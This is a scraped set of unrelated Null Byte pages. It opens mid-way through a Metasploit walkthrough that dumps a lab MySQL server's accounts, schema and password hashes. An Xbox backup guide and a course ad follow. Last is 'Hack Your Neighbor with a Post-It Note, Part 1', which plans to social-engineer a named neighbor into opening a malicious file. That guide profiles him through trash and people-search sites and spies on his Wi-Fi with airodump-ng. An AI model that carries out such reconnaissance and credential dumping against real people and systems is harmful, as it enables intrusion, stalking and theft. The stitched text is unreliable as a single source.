[*] 10.10.0.50:3306 - Compiled for the following OS: debian-linux-gnu
[*] 10.10.0.50:3306 - Architecture: i486
[*] 10.10.0.50:3306 - Server Hostname: metasploitable
[*] 10.10.0.50:3306 - Data Directory: /var/lib/mysql/
[*] 10.10.0.50:3306 - Logging of queries and logins: OFF
[*] 10.10.0.50:3306 - Old Password Hashing Algorithm OFF
[*] 10.10.0.50:3306 - Loading of local files: ON
[*] 10.10.0.50:3306 - Deny logins with old Pre-4.1 Passwords: OFF
[*] 10.10.0.50:3306 - Allow Use of symlinks for Database Files: YES
[*] 10.10.0.50:3306 - Allow Table Merge: YES
[*] 10.10.0.50:3306 - SSL Connections: Enabled
[*] 10.10.0.50:3306 - SSL CA Certificate: /etc/mysql/cacert.pem
[*] 10.10.0.50:3306 - SSL Key: /etc/mysql/server-key.pem
[*] 10.10.0.50:3306 - SSL Certificate: /etc/mysql/server-cert.pem
[*] 10.10.0.50:3306 - Enumerating Accounts:
[*] 10.10.0.50:3306 - List of Accounts with Password Hashes:
[+] 10.10.0.50:3306 - User: debian-sys-maint Host: Password Hash:
[+] 10.10.0.50:3306 - User: root Host: % Password Hash:
[+] 10.10.0.50:3306 - User: guest Host: % Password Hash:
[*] 10.10.0.50:3306 - The following users have GRANT Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have CREATE USER Privilege:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have RELOAD Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have SHUTDOWN Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have SUPER Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have FILE Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following users have PROCESS Privilege:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts have privileges to the mysql database:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts have empty passwords:
[*] 10.10.0.50:3306 - User: debian-sys-maint Host:
[*] 10.10.0.50:3306 - User: root Host: %
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - The following accounts are not restricted by source:
[*] 10.10.0.50:3306 - User: guest Host: %
[*] 10.10.0.50:3306 - User: root Host: %
[*] Auxiliary module execution completedWe can see it returns a bunch of information that could end up being extremely useful.Step 4: Dump the Database SchemaThe next module we will use is themysql_schemadumpmodule, which, as the name implies, will dump theschema informationabout the database. A schema can be thought of as a sort of a blueprint for the database, containing organizational details on how it's laid out. It can be a lot of data to sift through, but it can help identify key pieces of the database in the recon phase.First, load the module:msf5 auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_schemadumpAnd we can look at the options:msf5 auxiliary(scanner/mysql/mysql_schemadump) > options
Module options (auxiliary/scanner/mysql/mysql_schemadump):
Name Current Setting Required Description
---- --------------- -------- -----------
DISPLAY_RESULTS true yes Display the Results to the Screen
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
USERNAME root no The username to authenticate asEverything should be good to go here, so let's kick it off:msf5 auxiliary(scanner/mysql/mysql_schemadump) > run
[+] 10.10.0.50:3306 - Schema stored in: /root/.msf4/loot/20200121084427_default_10.10.0.50_mysql_schema_679633.txt
[+] 10.10.0.50:3306 - MySQL Server Schema
Host: 10.10.0.50
Port: 3306
====================
---
- DBName: dvwa
Tables:
- TableName: guestbook
Columns:
- ColumnName: comment_id
ColumnType: smallint(5) unsigned
- ColumnName: comment
ColumnType: varchar(300)
- ColumnName: name
ColumnType: varchar(100)
- TableName: users
Columns:
- ColumnName: user_id
ColumnType: int(6)
- ColumnName: first_name
ColumnType: varchar(15)
- ColumnName: last_name
ColumnType: varchar(15)
- ColumnName: user
ColumnType: varchar(15)
- ColumnName: password
ColumnType: varchar(32)
- ColumnName: avatar
ColumnType: varchar(70)
- DBName: metasploit
Tables: []
- DBName: owasp10
Tables:
- TableName: accounts
Columns:
- ColumnName: cid
ColumnType: int(11)
- ColumnName: username
ColumnType: text
- ColumnName: password
ColumnType: text
- ColumnName: mysignature
ColumnType: text
- ColumnName: is_admin
ColumnType: varchar(5)
- TableName: blogs_table
...As previously stated, it will return a lot of information, but luckily,Metasploit saves the lootin a text file for more convenient viewing.Step 5: Get the MySQL Password HashesThe next module we'll try out will attempt to gather any additionalpassword hashesit finds in the database. It can be useful for pivoting to other systems, identifying password reuse, or gaining admin privileges if operating as another user.Load themysql_hashdumpmodule:msf5 auxiliary(scanner/mysql/mysql_schemadump) > use auxiliary/scanner/mysql/mysql_hashdumpAnd take a peek at the options:msf5 auxiliary(scanner/mysql/mysql_hashdump) > options
Module options (auxiliary/scanner/mysql/mysql_hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads
USERNAME root no The username to authenticate asAgain, it all looks good, so we can launch the module:msf5 auxiliary(scanner/mysql/mysql_hashdump) > run
[+] 10.10.0.50:3306 - Saving HashString as Loot: debian-sys-maint:
[+] 10.10.0.50:3306 - Saving HashString as Loot: root:
[+] 10.10.0.50:3306 - Saving HashString as Loot: guest:
[*] 10.10.0.50:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedWe can see that it completes and saves any discovered hashes as loot. In this case, none of the users on the system have passwords set, so we don't get any strings.Step 6: Run SQL QueriesThe last module we will look at today is themysql_sql module, which can run SQL queries from within the Metasploit Framework. It does require a working knowledge of the SQL language, so at this point, it might be more efficient to just connect to the database directly to issue commands. However, this demonstrates how to do everything without having to leave Metasploit.First, load the module:msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/admin/mysql/mysql_sqlThen, we can view the current options:msf5 auxiliary(admin/mysql/mysql_sql) > options
Module options (auxiliary/admin/mysql/mysql_sql):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no The password for the specified username
RHOSTS 10.10.0.50 yes The target address range or CIDR identifier
RPORT 3306 yes The target port (TCP)
SQL select version() yes The SQL to execute.
USERNAME root no The username to authenticate asThe only thing we need to set is the SQL query to run against the target. For instance, one of the first commands to get familiar with when connecting to a database is theshow databasescommand. That will list all of the available databases to use.Set the option:msf5 auxiliary(admin/mysql/mysql_sql) > set sql show databases
sql => show databasesAnd finally, run the module:msf5 auxiliary(admin/mysql/mysql_sql) > run
[*] Running module against 10.10.0.50
[*] 10.10.0.50:3306 - Sending statement: 'show databases'...
[*] 10.10.0.50:3306 - | information_schema |
[*] 10.10.0.50:3306 - | dvwa |
[*] 10.10.0.50:3306 - | metasploit |
[*] 10.10.0.50:3306 - | mysql |
[*] 10.10.0.50:3306 - | owasp10 |
[*] 10.10.0.50:3306 - | tikiwiki |
[*] 10.10.0.50:3306 - | tikiwiki195 |
[*] Auxiliary module execution completedWe can see there are a handful of different databases present in this instance of MySQL.Wrapping UpToday, we explored some ways to collect valuable information about MySQL databases using Metasploit. We learned how to find credentials, schema information, password hashes, and other useful data that could be used to successfully attack the system. Bottom line: it pays to be prepared.Don't Miss:SQL Injection 101: How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bygeralt/Pixabay; Screenshots by drd_/Null ByteRelatedHow to Hack Databases:Extracting Data from Online Databases Using SqlmapHow to Hack Databases:Hacking MySQL Online Databases with SqlmapHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)How To:Use Metasploit's Database to Stay Organized & Store Information While HackingSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow to Hack Databases:Hunting for Microsoft's SQL ServerHow To:Use PHP to login to a MYSQL databaseHow to Hack Like a Pro:Getting Started with MetasploitHow To:Create a MySQL user login database with PHPHow To:Import Excel to a MySQL database with cPanelHow To:Access and edit databases in MySQL Query BrowserHow To:Make a MySQL database for CoffeeCup Form BuilderHow To:Export a MySQL database table to Excel with cPanelHow To:Transfer data between 2 MySQL databases in DreamCoderHow To:Connect to a MySQL database using DreamCoderHow To:Connect to a database & add data in PHP & MYSQLHow To:Synchronize two MySQL databases with DreamCoderHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Monitor your MySQL database server via DreamCoderHow To:Install WAMP and create a MySQL databaseHow To:Backup a MySQL database with DreamCoderHow To:Write a subquery or sub select in your MySQL databaseHow To:Develop a social networking community website with PHP, MySQL & ActionScript 3How To:Identify Missing Windows Patches for Easier ExploitationHow To:Use John the Ripper in Metasploit to Quickly Crack Windows HashesHow To:Install MySQL on Windows 2003Hack Logs and Linux Commands:What's Going On Here?How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseIPsec Tools of the Trade:Don't Bring a Knife to a GunfightGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking Simulations |
How to Backup All of Your Xbox 360 Data to Your Computer « Null Byte :: WonderHowTo | Flash memory can be a tad unpredictable at times. I have had4flash drives die out on me over the last few years, and they usually diewithoutwarning. When a flash memory based device dies, the data is likelyimpossibleto recover. Adversely on anHDD, orHardDriveDisk, even if the disk dies out, someone will probably be able to fix it and get it back to working order—at leastlong enough for you to back up your data. Hard drives are a bit more forgiving. As you can guess, due to the unpredictable nature of a flash devices standing, it is a great idea to frequently backup your flash memory based devices so you don't lose important data forever.Examples of flash DevicesiTouch and iPhoneMemory cardsRAMUSB thumb drivesA good Rule of ThumbIf you know that there are moving parts in a storage device, it's not flash-based.Losing game saves can be theworstfeeling in the world. Literallythousandsof hours of my life have gone down the tubes with nothing to show for it, due to a lost thumb drive that I kept my game saves on. So, what if you want to backup your data from an Xbox 360? This is a common question I have heard, mostly from the older crowd who aren't as computer savvy as the next generation tends to be. Luckily enough, there is a very simple solution. So, in thisNull Bytewe are going to get our 360 saves and data backed up to our computer to prevent data loss. Game saves and online stats are the main priority here.Make sure all of your data that you want to backup is saved to your thumb drive.RequirementsData to backupWindows OS or a Virtual Machine running WindowsStep1Download USBXtafGUIUSBEXtafGUI is a tool that allows you to read the Xbox 360 file system that is saved to a USB device. It also has the built-in utilities that we need to back up our precious data.Download USBXTAFGUI fromhere.If you are running Windows Vista or later, right-click the program executable and clickProperties.Click the compatability tab and run in compatibility mode forWindows XP service pack 2.Tick the box that asks you to run it as administrator.ClickApply.Step2Backup Your Drive ContentsWe actually have two ways of backing up our drive. We can back it up as a raw image, which means it is one file with all of our data that can be restored to the drive. Alternatively, we can do a raw dump of our drive, and simply copy the entire directory structure to be copied back in case of disaster.Backup Your DriveOpen USBXtafGUI.ClickFile > Open first USB device.ClickBackup > Backup Raw Drivefor a raw image andDump Drive Contentsto copy files and directories recursively.Save it as any name you choose.To restore, simply clickBackup > Restore Disk Image, or just copy and paste the directory and contents recursively into the thumb drive for raw images and dumps respectively.Please enable JavaScript to watch this video.If you're a fan of Null Byte, come chat with me and other members in theIRCchannel! You can also followTwitterandGoogle+for the latest tutorial updates.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaattackofthefanboyRelatedHow To:Install an Off-the-Shelf Hard Drive in an Xbox 360 (Get 10x the GB for Your Money)How To:Use XBox Backup Creator to back up XBox 360 gamesHow To:Use AT&T's mobile app 360 Backup to protect your smartphone's dataHow To:Backup Xbox 360 gamesHow To:Create XBox 360 BackupsHow To:Make Your Xbox 360 Games Region FreeHow To:Transfer Xbox 360 hard drive save data to new Slim 360How To:Burn an Xbox 360 game to a DVDHow To:Back Up & Restore Data for All Apps on Your HTC One Using ADB for MacHow To:Use Your Xbox 360 Headset with Your Xbox One ControllerHow To:Get the first nine hidden data pads in Halo Reach for the Xbox 360How To:Completely Back Up Your Apps & App Data on Your HTC One or Other Android DeviceHow To:Copy Xbox 360 games without a mod chipHow To:Record HD video footage of XBox 360 games using an HD PVRInstagram 101:How to Download a Backup of Your Account to Save Photos, Comments & MoreHow To:Mod the color of your Xbox 360 avatarHow To:Back Up Your Android Apps (& Their Data) Without RootHow To:Solve the Hung out to Dry Street Crime mission in L.A. Noire in PS3/ Xbox 360How To:'Undelete' Content on Your iPhoneSuper Backup:The Fastest Way to Back Up All of the Data on Your Android DeviceHow To:Record your games on your Xbox 360 and PS3 using an HD PVR and EyeTV3How To:Use HDDHackr to make a hard drive work with XBox 360How To:Really Protect Your Encrypted iPhone Backups in iOS 11 from Thieves & HackersHow To:Completely Back Up Your Samsung Galaxy Note 2 Using Kies, Helium, or the Note 2 ToolkitHow To:Recover data from the hard drive of an Xbox 360How To:Unblock Netflix, Amazon Instant and 60 Other Channels with No Location Restrictions on Xbox 360 & Xbox OneHow To:Flash BenQ Xbox 360 Drives to Play XDG3 Back-upsHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with LinuxHow To:Play Emulated Games on Linux with Your Xbox 360 ControllerHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with WindowsNews:Minecraft for Xbox 360How To:Copy & Convert your Skyrim Game Save from the Xbox 360 to your PCHow To:Revert to the Old Netflix App on the New Xbox 360 UpdateHow To:Get the 'Genius' Achievement in Batman: Arkham CityNews:Xbox 360 Interface Update Finally LiveNews:Kinect Price Revealed; Sony Move ComparisonHow To:Build Your Own "Pogo Mo Thoin" to Flash Any Xbox 360 DVD Drive for Under $5How To:Download Your Data with Google TakeoutHow To:Earn the 'Jetpacker' Achievement in RageNews:Xbox 360 Natal unveiled as Kinect |
These High-Quality Courses Are Only $49.99 « Null Byte :: WonderHowTo | Project managers — and those hoping to become one — should rejoice at this killer deal.The Project Manager's Essential Certification Bundle Ft. Scrum, Agile & PMPusually runs for $1,990 but is only $49.99 for a limited time.The bundle features training on all the essential tools highly efficient program managers should know. This includes Scrum, Agile, and PMP.Scrum is most common in software development, but it also lends itself well to professionals in the marketing world. As for Agile, it's supposed to help keep you self-organized and find the proper solutions to serve your customer. PMP, meanwhile, is considered the gold standard of project management certification; it's a formal certification, and the courses in this bundle can help you secure it.The Project Manager's Essential Certification Bundle Ft. Scrum, Agile & PMPcomes with ten courses that include over 700 lessons. The courses cover a lot of ground, from training for certification to more advanced techniques.For instance, the first course is "Scrum Advanced: Software Development & Program Management," which should prepare you to lead even the most complicated projects. However, the bundle even covers some of those soft skills, such as improving your memory. "Super Memory Essentials: Develop A Perfect Memory" teaches you how to retain all the important knowledge we find ourselves forgetting. You can even learn how to memorize other languages and random information, such as Greek mythology. If you're going to be a successful project manager, you've got to keep your memory sharp.This 97% discount is sure not to disappoint.The Project Manager's Essential Certification Bundle Ft. Scrum, Agile & PMPoffers benefits to all types of professionals. Those in the software development space will definitely walk away with some more tools, but these skills are important to all of us in this digital age.Get It While It's Hot:The Project Manager's Essential Certification Bundle Ft. Scrum, Agile & PMP for Just $49.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Get Project Manager Certifications with Help from Scrum, Agile & PMPHow To:Learn How to Speculate & Make Money as a Day Trader While You're Stuck at HomeHow To:Everything You Wanted to Learn About Adobe for Under $50How To:Finally See What's Under the Fridge with an Endoscope CameraHow To:Discover the Unbelievably Easy Way to Animate Your Own Cartoons with This Animation Software Bundle for MacHow To:Learn the Easiest Way to Animate Your Own Cartoons with This Animation Bundle for Windows, Now 75% OffHow To:This Is the Ultimate Course Bundle if You're Looking to Work in the CloudHow To:Ready to Become a Top Project Manager? This 10-Course Bundle Will Teach You Scrum, Agile & PMPHow To:Take Your DJ & Music Production Game to Another Level with Ableton & Logic Pro XHow To:Hear Your Favorite Songs for the First Time Again with This Audio OptimizerHow To:Launch Your Startup Idea Flawlessly with This Help ServiceHow To:Become a UX/UI Expert in 100 Hours for Under $50How To:Become a Data-Driven Leader with This Certification BundleHow To:This Extensive Adobe Design Training Is on Sale for Just $50News:Snapchat Launches In-App Store with 'World's First AR Superstar' Hot Dog Toy & Other SwagNews:The Best Cyber Monday Tech Deals on TVs, Phones, Laptops, & MoreHow To:Become an Expert Data-Driven Project Manager for Under $50How To:Protect Your Information on Up to 10 Devices with This Thrifty VPNHow To:Protect Your Privacy with This 2-Part Security BundleNews:Now's the Perfect Time to Brush Up on Your Excel SkillsDeal Alert:Become a Google Ad & SEO Ninja for Under $50How To:Hack Your Business Skills with These Excel CoursesHow To:Stay Safe with This Subtle Personal Alarm & TrackerHow To:Make the Best of Your Gaming & Browsing with One DealHow To:Protect Your Data on the Go with a Premium Hushed Line & Hola VPN for Only $50CES 2015:Pronto Turns Your iPhone into an All-in-One TV RemoteHow To:Here's Why You Need to Add Python to Your Hacking & Programming ArsenalDeal Alert:Learn the Stock Market Inside & Out for Under 30 Bucks2020 Gift Guide:The Best Gadget Gift Deals for Less Than $50News:Huge Steam Summer Sale!!!News:Weston Price FoundationNews:Vidyo - The Company Behind G+ Hangouts - Talks TechNews:happy birthday to me!News:Free video tutorials - helpvids.comNews:Video of storm and a new dayNews:Cheeky Girls DVD'sNews:Bottle Rocket Short - High Quality / Low BudgetHow To:Tired of Telemarketers? Your Digital Bouncer Has ArrivedNews:The Best of CES |
How to Hack Your Neighbor with a Post-It Note, Part 1 (Performing Recon) « Null Byte :: WonderHowTo | Using just a small sticky note, we can trigger a chain of events that ultimately results in complete access to someone's entire digital and personal life.Imagine arriving home one night after work and there's a Post-it note on your apartment door with the website "your-name-here.com" written on it. Someone cautious may not immediately visit the website, but eventually, curiosity might get the best of them. Let's have some fun exploiting human curiosity and get remote access to our neighbor's computer in the process.For this hack, we'll be using a seemingly harmless Post-it note to entice a target user into visiting a website that we control. When the target user visits the website, they'll be tricked into opening a malicious file which will allow us to perform a variety of attacks on the compromised computer.Such an attack may allow hackers to target:Coworkers or company executives. Employees visiting an attacker-controlled website from a computer inside a corporate network and opening a malicious file may compromise the security of the entire network.Small businesses. Managers opening malicious files found on attacker-controlled websites may allow the attacker to steal sensitive customer information, install ransomware, or compromise other applications on the device.Average everyday people. Gaining remote access to a someone's computer, attackers could steal personal information to perform identity theft or blackmail the victim into paying a large ransom for stolen data.Understanding Our Sticky Note AttackThere are many steps to this attack, so I'll first provide a brief overview of the scenario before showing how to put it all together.The hypothetical victim of this hack will be "my neighbor in the apartment next door," his name is "John Smith." The goal is tosocial engineerJohn Smith into visiting a website that we control by exploiting the inherent trust we allot to our everyday neighbors. Ultimately, we will gain access to a computer in John's apartment by tricking him into opening a malicious file.Since there's a lot going on in this attack, I will be breaking this guide up into three parts. This first part will cover reconnaissance. We'll need to gather as much information about John Smith's social and digital life to create a website named after him that will really entice him ("john-smith.com"). As an optional step, we'll also gather hardware information about devices connecting to John's Wi-Fi network. This will help us understand what kinds of devices are in his home.Don't Miss:How to Clone Any Website Using HTTrackIn the second part of this guide, we'll create a payload to run on a Virtual Private Server (VPS) so that it can be downloaded from any computer in the world. We'll also need to installMetasploiton the VPS, which will be used to interface with and control the compromised machine after our malicious file is opened.For the finale, we'll create the website that John will look at, embed the payload file on the site, register a domain name that will entice John, then watch the whole thing work once we deliver the sticky note. We'll also go over some things everybody can do to minimize these types of attacks against themselves.Step 1: Know Your TargetReconnaissance is very important to the success of this hack. There are many social engineering angles we can take to trick someone into visiting our evil website. For example, targeting our neighbor in the apartment next door would be easy. In some apartment buildings and condominiums, we could identify our neighbor's name by checking the resident listed on the lobby intercom or their mailbox.Image by Justin Meyers/Null ByteWe can also learn their name by creating small talk with them or other people who live or work in the building who might unwittingly divulge personal information about our target. People who live in rural areas may have better luck usingwhitepagesto identify names of residents in the house next door. In certain parts of the United States,property historymay be easily obtainable. A parcel, county auditor, or property assessment Google inquiry with the targets corresponding county may produce a searchable database of current and past residents for the target's home address.Don't Miss:How to Use Persuasion to Compromise a Human TargetIn extreme cases, we might also learn our target's name by rummaging through their trash bins and finding a letter, package, or receipts containing personal information we can use in later stages of this attack. In a big city, rummaging through trash bins might not even get a second glance from people.After learning John Smith's name, we can go a step further and use people search engines, likePipl, to gain some insight into his life. Pipl is free and very easy to use. Simply enter your target's name and city into the Pipl search bar and within seconds we'll be presented with potential information relating to our victim. This information may include educational background, phone numbers, relative names, social media accounts, known living addresses, and much more.During this process, we may find an engaging angle to trick John Smith into visiting our evil website. For example, if John was a raging Philadelphia Eagles fan onInstagram, "john-smith-philly-eagles.com" would probably be more than enough to spike John's curiosity. If our neighbor tweeted their horoscope most mornings, "john-smith-capricorn.com" would likely be enthralling enough to get him to visit our evil website.Image by Justin Meyers/Null ByteThe goal here is to find something that would interest our victim into visiting the website we control. It's crucial that we make the website name as irresistible and enticing as possible. If all else fails, we can always try "john-smith-nudes.com" to get someone's attention. Even omitting the name and using more of riddle could help the recipient feel like their in the middle of their own mystery film.Step 2: Know Your Target's Hardware (Optional)Identifying devices connecting to John Smith's network is also very important to the success of this attack. If there are few wireless networks in your area and you have some idea which Wi-Fi network belongs to the victim, it might be possible topassivelymonitor devices connecting to the Wi-Fi network. Monitoring network activity will help us determine the type of attack we will execute in later stages of this hack.Don't Miss:How to Watch Wi-Fi User Activity Through WallsIf there are multiple Android devices regularly connecting to the network, we may consider creating a backdoored Android app and social engineering John Smith into installing it. Alternately, if there are Dell and Asus devices on the network, it's probably safe to assume John Smith is using Windows 10 or Windows 7. In that case, we would prepare some kind of Windows-specific payload.It would also be helpful to know what time of day these devices regularly connect to the Wi-Fi network. With this information, we'll know when to expect new connections on your VPS and Metasploit session.1. Install Aircrack-NgLet's get into monitoring network activity. To better understand what kind of activity is taking place on John Smith's network, we'll useairodump-ngto monitor devices connecting to the network. Airodump-ng is available in all popular Linux distributions and will work in virtual machines and on Raspberry Pi installations. I'll be using Kali Linux to monitor Wi-Fi networks in my area.Don't Miss:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsAirodump-ng is a part of the Aircrack-ng suite of wireless cracking utilities and can be installed with theapt-getcommand below.sudo apt-get install aircrack-ng2. Enable Monitor Mode on Your Wireless AdapterConnect yourwireless network adapterto your computer. Use theifconfigcommand to find the name of your wireless adapter. It will most likely be named "wlan0" or "wlan1."When you've identified the wireless adapter name, enable monitor mode with theairmon-ngcommand.sudo airmon-ng start YourAdapterNameBe sure to replace "YourAdapterName" with the actual name of your wireless network adapter. Using the above command will rename YourAdapterName to "YourAdapterNameMon," so if your wireless adapter was named "wlan1," it will now be seen using theifconfigcommand as "wlan1mon." This will make it easy to identify which wireless adapters are in monitor mode.We can now start airodump-ng using the wireless adapter in monitor mode.3. Launch Airodump-NgType the following into a terminal to start airodump-ng.sudo airodump-ng YourAdapterNameMonBy default, airodump-ng will begin collecting and displaying wireless activity for every Wi-Fi network in your area. Let airodump-ng run for a minute or two, and pressCtrl+Cto stop scanning.I'll be targetting the "My-Neighbor" network, a wireless network I setup and control. When you've decided on a network to monitor, take note of the BSSID, CH, and ESSID. BSSID is the MAC address of the router we'll be monitoring. CH is the channel the router is transmitting on. ESSID is simply the name of the Wi-Fi network. These three values are essential to monitoring one specific router.To monitor a specific router using airodump-ng, use the below command.airodump-ng --berlin 99999 --bssid <BSSID HERE> -c <CH HERE> --essid <ESSID HERE> YourApaterNameMonThe--berlinpart defines the amount of time the airodump-ng window will display devices connected to the router. By default, devices are displayed for only 120 seconds. For long-term monitoring purposes, we'll extend that to some arbitrarily high value.4. Look Up MAC AddressesPay close attention to theSTATIONcolumn while airodump-ng is running.This is where connecting devices will be displayed. In this column, we'll see a list of MAC addresses belonging to devices connecting to My-Neighbor's router. These MAC addresses can be looked up usingMAC address databases online. Enter the first 6 characters of the MAC address to find the manufacturer of the device.A Dell or Hewlett-Packard MAC address would be a strong indicator of a Windows computer on the network. If many Apple MAC addresses appear in theSTATIONcolumn, then there are probably MacBook's and iPhones connecting to the network. In that scenario, you would have to come up with some kind of Apple-specific payload. For the remainder of this series, we'll focus on targeting Windows computers as Windows is the most popular desktop operating system in the world.Don't Miss:Cracking WPA2-PSK Wi-Fi Passwords Using Aircrack-NgNow, Continue to Part 2 ...We've discovered our target's real name and gained a general idea of the hardware being used on their home network. Armed with this information, we're about ready to begin setting up the attack. The next part, we'll set up our VPS, install Metasploit, and prepare the payload for our intended victim!Next Up:How to Hack Your Neighbor with a Post-It Note, Part 2 (Setting Up the Attack)Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null Byte; Screenshots by tokyoneon/Null ByteRelatedHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Hack Your Neighbor with a Post-It Note, Part 3 (Executing the Attack)How To:Beat Ghost Recon Advanced Warrior 2Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)How To:Conduct Recon on a Web Target with Python ToolsHow To:Digitize the Sticky Notes on Your FridgeHack Like a Pro:How to Use Maltego to Do Network ReconnaissanceHow To:Hack Your Neighbor with a Post-It Note, Part 2 (Setting Up the Attack)How To:Find Hacked Accounts Online ~ PART 3 - Cached PagesHack Like a Pro:How to Get Even with Your Annoying Neighbor by Bumping Them Off Their WiFi Network —UndetectedHow To:Find Hacked Accounts Online ~ PART 2 - PastebinHack Like a Pro:The Hacker MethodologyHow To:Build a Portable Pen-Testing Pi BoxHow To:Find Hacked Accounts Online ~ PART 1 - haveibeenpwnedHow To:Unblock Wall PostsNews:Happy 4th of July!Hack Logs and Linux Commands:What's Going On Here?News:FarmVille Haunted HouseNews:Sunflower goal and tips!How To:Bypassing School Security (White-Hat)News:All Entries in one placeNews:Canning Mission Warning!News:FarmVille Autumn Limited Time CollectionNews:Tip for helping neighborsNews:Bees have come to Farmville!News:What, Again?News:It's All About MeHow To:Truffle Hunting GuideNews:Bookmarking in Facebook (and FarmVille Gift Exchange explained)How To:Neighbor Visits Guide and TipsHow To:Search for Google+ Posts & Profiles with GoogleHow To:Score Free Game Product Keys with Social EngineeringNews:Crafting BuildingsNews:Google+ Pro Tips Weekly Round Up: Refining SharingNews:FarmVille Mystery Egg ChartWeekend Homework:How to Become a Null Byte ContributorNews:Google+ Pro Tips Weekly Round Up: Google Adds Google+ ExtensionsNews:Limited Time Collection - Toy CollectionHow To:FarmVille Cheats How to Freeze Your CoinsNews:How to Participate in This Blog |
